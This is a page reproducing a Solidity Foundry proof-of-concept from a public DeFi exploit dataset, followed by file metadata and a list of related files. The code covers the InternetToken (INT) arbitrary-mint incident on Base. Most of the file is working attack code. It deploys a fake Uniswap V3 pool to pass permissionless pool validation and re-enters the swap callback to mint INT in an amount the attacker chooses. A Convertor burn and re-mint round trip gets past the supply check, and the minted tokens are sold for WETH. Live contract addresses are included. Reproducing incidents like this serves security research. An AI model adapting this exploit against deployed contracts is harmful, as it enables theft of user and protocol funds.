Public reproduction file
src/test/2026-09/InternetToken_exp.sol
Public reproduction file for dataset entry InternetToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Internet Token (INT) - permissionless arbitrary-mint via a fake Uniswap V3 pool. Base, 2026-09.8//9// Attack tx : 0xed62bb27bd1058d3d7cc93d55421d6d0001ced8cb4529b02773f5126a4edb08b10// Block : 51593878 (fork at parent 51593877)11// Attacker : EOA 0x5F7cE6395818857aC20730dc990F614356D1Ec68 deploys a throwaway contract; the12// whole attack runs inside that contract's CONSTRUCTOR (the tx `to` is empty, and the13// receipt reports a contractAddress -> contract-creation tx, confirmed from the trace).14//15// Contracts (verified source pulled from Basescan, chainid 8453):16// RewardToken (INT) : 0x968D6A288d7B024D5012c0B25d67A889E4E3eC1917// LiquidityUnifier : 0x837DBAbc4f5FA78BAF177597edbDa09645822032 (holds INT minter role)18// Convertor : 0x6b82fDFC0344Bd76d5Cb58BC24D0FfE947975516 (INT <-> bridged token)19// OptimismMintableERC20 : 0x1D34e08120dbD1Ea9BDBcD90C2dC919b50Ddff4C (the "transferrable" leg)20// Real INT/WETH Uniswap V3 : 0xDEc6EadbD8eD3F655CBA4Bb4eeFF6fB43B16969d (token0=WETH, token1=INT)21// WETH : 0x420000000000000000000000000000000000000622//23// ROOT CAUSE (confirmed line-by-line against the deployed verified source, not just the alert):24//25// 1. LiquidityUnifier.swapV3(address token, address pool) is PERMISSIONLESS (no role/onlyRole).26// Its only validation is:27// _validatePool(pool) -> pool != 0, pool.code.length != 0, !_excludedPools.contains(pool)28// _validatePoolV3Tokens(..) -> pool.token0()/token1() must equal {rewardToken, token} in29// either order.30// There is NO Uniswap factory / pool-registry check anywhere. Both conditions are trivially31// satisfied by a minimal attacker-deployed contract that returns the right token0()/token1()32// and is not on the exclusion list.33//34// 2. swapV3 then sets `currentPoolV3 = pool` and calls `IUniswapV3Pool(pool).swap(...)`. Because35// `pool` is the attacker's fake pool, that call lands in attacker code.36//37// 3. The fake pool re-enters LiquidityUnifier.uniswapV3SwapCallback(amount0Delta, amount1Delta, _).38// That callback's ONLY guard is `msg.sender == currentPoolV3`. currentPoolV3 IS the fake pool39// (set in step 2), so the guard passes, and the callback runs:40// RewardToken(rewardToken).mint(_currentPoolV3, amount.toUint256());41// where amount = (amount0Delta > 0 ? amount0Delta : amount1Delta) is supplied by the fake pool.42// => arbitrary INT minted, to the fake pool, in an attacker-chosen amount.43//44// 4. The one supply guard is the `validateSupply` modifier on swapV3: it records45// totalSupply() before the body and reverts if totalSupply() is larger after. This is defeated46// by routing the freshly minted INT through the project's Convertor DURING the fake pool's47// swap() callback (i.e. still inside swapV3, before the post-check):48// Convertor.convert(INT, X) -> mintableToken.burn(caller, X); transferrableToken.transfer(caller, X)49// Burning the X INT restores totalSupply() to its original value, so the post-`_` check sees no50// increase. After swapV3 returns (outside the modifier) the attacker converts back:51// Convertor.convert(OTHER, X) -> transferrableToken.transferFrom(caller,this,X); mintableToken.mint(caller, X)52// re-minting the X INT with the supply guard no longer in scope. Net: X new INT, guard bypassed.53//54// Verified the three specific claims the alert asked to confirm:55// * swapV3 pool validation is code-existence + exclusion-list + token0()/token1() only, no56// factory/registry check (LiquidityUnifier.sol _validatePool / _validatePoolV3Tokens).57// * uniswapV3SwapCallback trusts msg.sender == currentPoolV3 with currentPoolV3 attacker-set.58// * validateSupply is beaten by the Convertor round-trip (burn INT mid-call, re-mint after),59// not by any other mechanism. Convertor.convert branches on `from`: burn INT / send OTHER, or60// pull OTHER / mint INT (verified in Convertor.sol).61//62// On-chain figures (decoded from the receipt Transfer logs, all match the alert):63// minted X = 925,411,678.379023100 INT (callback mint)64// dumped into pool = 161,265,976.195260020 INT -> 5.846988019325688 WETH65// kept by attacker = 764,145,702.183763080 INT (X - dumped)66//67// This PoC is a from-scratch reconstruction: a named InternetTokenExploit contract deploys a minimal68// FakePool, and every protocol interaction is a real typed call into the live verified contracts69// (swapV3, uniswapV3SwapCallback, Convertor.convert, and a real swap on the actual INT/WETH V3 pool).70// No bytecode blob, no raw calldata replay, no settled-state shortcut.72interface ILiquidityUnifier {73 function swapV3(address token, address pool) external;74 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;75}77interface IConvertor {78 // from == INT (mintable) -> burns INT from caller, sends OTHER to caller79 // from == OTHER (transferrable) -> pulls OTHER from caller, mints INT to caller80 function convert(address from, uint256 amount) external;81}83interface IUniswapV3Pool {84 function swap(85 address recipient,86 bool zeroForOne,87 int256 amountSpecified,88 uint160 sqrtPriceLimitX96,89 bytes calldata data90 ) external returns (int256 amount0, int256 amount1);91}93// Minimal fake "pool": returns token0()/token1() so LiquidityUnifier's validation passes, and its94// swap() re-enters the unifier's callback to trigger the arbitrary mint. The same contract also95// implements uniswapV3SwapCallback so it can pay INT into the REAL INT/WETH pool for the profit leg.96contract FakePool {97 address internal immutable INT;98 address internal immutable OTHER;99 address internal immutable WETH;100 ILiquidityUnifier internal immutable UNIFIER;101 IConvertor internal immutable CONVERTOR;102 IUniswapV3Pool internal immutable REAL_POOL;103 address internal immutable OWNER;105 uint256 internal mintAmount;107 // sqrt price limit for a token1->token0 sell (zeroForOne == false) on the real pool.108 uint160 internal constant MAX_SQRT_RATIO_MINUS_ONE = 1461446703485210103287273052203988822378723970342 - 1;110 constructor(111 address _int,112 address _other,113 address _weth,114 ILiquidityUnifier _unifier,115 IConvertor _convertor,116 IUniswapV3Pool _realPool117 ) {118 INT = _int;119 OTHER = _other;120 WETH = _weth;121 UNIFIER = _unifier;122 CONVERTOR = _convertor;123 REAL_POOL = _realPool;124 OWNER = msg.sender;125 }127 // ---- fake Uniswap V3 pool surface used by LiquidityUnifier's validation ----128 function token0() external view returns (address) {129 return INT; // == rewardToken130 }132 function token1() external view returns (address) {133 return OTHER; // == the `token` argument passed to swapV3134 }136 // Called by LiquidityUnifier inside swapV3. We ignore the passed args and instead drive the137 // unifier's own callback with the mint amount WE choose, then neutralize the supply increase by138 // converting the freshly minted INT into OTHER (burns INT -> restores totalSupply) before swapV3139 // finishes and its validateSupply post-check runs.140 function swap(141 address, /* recipient */142 bool, /* zeroForOne */143 int256, /* amountSpecified */144 uint160, /* sqrtPriceLimitX96 */145 bytes calldata /* data */146 ) external returns (int256, int256) {147 require(msg.sender == address(UNIFIER), "only unifier");149 // trigger arbitrary mint of `mintAmount` INT to this contract (currentPoolV3 == this)150 UNIFIER.uniswapV3SwapCallback(int256(mintAmount), int256(mintAmount), "");152 // burn the INT back out via the Convertor so supply is restored before validateSupply checks153 CONVERTOR.convert(INT, mintAmount);155 return (0, 0);156 }158 // Called by the REAL INT/WETH V3 pool during the profit swap: pay the INT we owe.159 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {160 require(msg.sender == address(REAL_POOL), "only real pool");161 // token1 == INT, so selling INT for WETH makes amount1Delta the positive amount owed.162 if (amount1Delta > 0) {163 IERC20(INT).transfer(msg.sender, uint256(amount1Delta));164 }165 if (amount0Delta > 0) {166 IERC20(WETH).transfer(msg.sender, uint256(amount0Delta));167 }168 }170 function run(uint256 _mintAmount, uint256 dumpAmount) external {171 require(msg.sender == OWNER, "only owner");172 mintAmount = _mintAmount;174 // Convertor pulls OTHER from us on the way back; INT burn on the way out needs no approval.175 IERC20(INT).approve(address(CONVERTOR), type(uint256).max);176 IERC20(OTHER).approve(address(CONVERTOR), type(uint256).max);178 // 1) permissionless swapV3 against our fake pool -> arbitrary mint + supply-neutralizing burn179 // (token = OTHER so _validatePoolV3Tokens sees {INT, OTHER} and passes)180 UNIFIER.swapV3(OTHER, address(this));182 // 2) re-mint the INT now that validateSupply is out of scope: OTHER -> INT183 CONVERTOR.convert(OTHER, mintAmount);185 // 3) realize WETH by dumping part of the minted INT into the real INT/WETH pool186 // zeroForOne = false (token1 INT -> token0 WETH), exact input = dumpAmount187 REAL_POOL.swap(address(this), false, int256(dumpAmount), MAX_SQRT_RATIO_MINUS_ONE, "");189 // 4) forward the loot to the owner (attacker) contract190 uint256 wethBal = IERC20(WETH).balanceOf(address(this));191 if (wethBal > 0) IERC20(WETH).transfer(OWNER, wethBal);192 uint256 intBal = IERC20(INT).balanceOf(address(this));193 if (intBal > 0) IERC20(INT).transfer(OWNER, intBal);194 }195}197// The attacker contract. Mirrors the real tx: the whole exploit runs from a single deployment, in198// the constructor, with no attacker capital and no privileged role.199contract InternetTokenExploit {200 constructor(201 address int_,202 address other,203 address weth,204 ILiquidityUnifier unifier,205 IConvertor convertor,206 IUniswapV3Pool realPool,207 address recipient,208 uint256 mintAmount,209 uint256 dumpAmount210 ) {211 FakePool fake = new FakePool(int_, other, weth, unifier, convertor, realPool);212 fake.run(mintAmount, dumpAmount);214 // hand profits from this contract to the profit sink the test tracks215 uint256 wethBal = IERC20(weth).balanceOf(address(this));216 if (wethBal > 0) IERC20(weth).transfer(recipient, wethBal);217 uint256 intBal = IERC20(int_).balanceOf(address(this));218 if (intBal > 0) IERC20(int_).transfer(recipient, intBal);219 }220}222contract InternetTokenExploitTest is BaseTestWithBalanceLog {223 address constant INT = 0x968D6A288d7B024D5012c0B25d67A889E4E3eC19;224 address constant OTHER = 0x1D34e08120dbD1Ea9BDBcD90C2dC919b50Ddff4C;225 address constant WETH = 0x4200000000000000000000000000000000000006;226 ILiquidityUnifier constant UNIFIER = ILiquidityUnifier(0x837DBAbc4f5FA78BAF177597edbDa09645822032);227 IConvertor constant CONVERTOR = IConvertor(0x6b82fDFC0344Bd76d5Cb58BC24D0FfE947975516);228 IUniswapV3Pool constant REAL_POOL = IUniswapV3Pool(0xDEc6EadbD8eD3F655CBA4Bb4eeFF6fB43B16969d);230 // Attacker-chosen mint size and dump size, exactly as decoded from the on-chain receipt logs.231 uint256 constant MINT_AMOUNT = 0x02fd7b8b9b6ae2957e395f97; // 925,411,678.379023100 INT232 uint256 constant DUMP_AMOUNT = 0x856566164204289e81c00a; // 161,265,976.195260020 INT234 function setUp() public {235 vm.createSelectFork("base", 51_593_877); // parent of the exploit block236 multiAssetLog = true;237 fundingTokens.push(WETH);238 fundingTokens.push(INT);239 }241 function testExploit() public balanceLog {242 address recipient = address(this); // profit sink; balanceLog tracks it244 assertEq(IERC20(WETH).balanceOf(recipient), 0, "recipient should start with 0 WETH");245 assertEq(IERC20(INT).balanceOf(recipient), 0, "recipient should start with 0 INT");247 // One deployment, zero attacker capital, no signatures, no privileged role.248 new InternetTokenExploit(249 INT, OTHER, WETH, UNIFIER, CONVERTOR, REAL_POOL, recipient, MINT_AMOUNT, DUMP_AMOUNT250 );252 uint256 wethGained = IERC20(WETH).balanceOf(recipient);253 uint256 intGained = IERC20(INT).balanceOf(recipient);255 emit log_named_decimal_uint("WETH profit realized", wethGained, 18);256 emit log_named_decimal_uint("INT retained by attacker", intGained, 18);258 // ~5.85 WETH realized from dumping ~161.3M of the minted INT259 assertApproxEqRel(wethGained, 5.846988019325688e18, 0.01e18, "WETH profit off from on-chain ~5.85");260 // ~764.1M INT kept (minted 925.4M minus 161.3M dumped)261 assertEq(intGained, MINT_AMOUNT - DUMP_AMOUNT, "retained INT != minted - dumped");262 assertApproxEqRel(intGained, 764_145_702.18376308e18, 0.01e18, "retained INT off from on-chain ~764.1M");263 }264}Analysis
Dataset entry
Public Foundry test for “InternetToken” (2026-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5f7ce6395818857ac20730dc990f614356d1ec68
- Attack Tx
0xed62bb27bd1058d3d7cc93d55421d6d0001ced8cb4529b02773f5126a4edb08b
File record
- Name
- InternetToken
- Path
- src/test/2026-09/InternetToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a1b940d6ed9e56343c95c03949ae061778ca98c1
- Language
- Solidity
- Size
- 265 lines
- Date
- 2026-09-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/InternetToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a1b940d6ed9e56343c95c03949ae061778ca98c1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.